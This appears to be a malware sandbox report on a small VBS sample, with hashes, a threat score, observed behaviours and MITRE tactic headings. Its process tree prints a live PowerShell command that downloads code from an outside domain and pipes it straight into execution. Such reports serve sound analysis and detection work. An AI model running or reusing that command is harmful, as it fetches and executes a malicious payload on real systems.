3679a5dfcf9f77daa767e4fee7e4aa0dc7e9755f9b86527d84ccc33b174edde4

Analysis

max time kernel
298s
max time network
274s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/06/2026, 04:24

Target
cwiphsnb-ptpllk_61831-38446.vbs
Size 1KB
Sample260604-e1epxahy9s
SHA256 3679a5dfcf9f77daa767e4fee7e4aa0dc7e9755f9b86527d84ccc33b174edde4
MD5 0a6b49ba2916425b17b23e3ee419074e
SHA1 9d1f2111a7f8a7d27129bbe6c5c5fb4ec1e7ce99
SHA512 3e7fe760cca5907c4f96922222f0f11c0c21b6e4839a532df04c6b2f9d9eb6034694a4a08510670179913c6c495dda26ca2ec37fdbe6edc384b488cf21670796
TLSH
T1BC214CCF9A1D9D11B66716839E5FA75A40F84EC058BCDE7C01B6CC8DD0108EBA18757A
MD5 SHA1 SHA512 TLSH

Score

8^/10

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4920	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4920	powershell.exe
4920	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4920	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 3864 wrote to memory of 4920	3864	WScript.exe	79

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\cwiphsnb-ptpllk_61831-38446.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" irm https://liquidadorpro.com/grand/36298ccd.jpg?token=f23a2e0a864a0ab9826d8857c967025d | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4920

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

__PSScriptPolicyTest_st421dqc.5cc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_st421dqc.5cc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH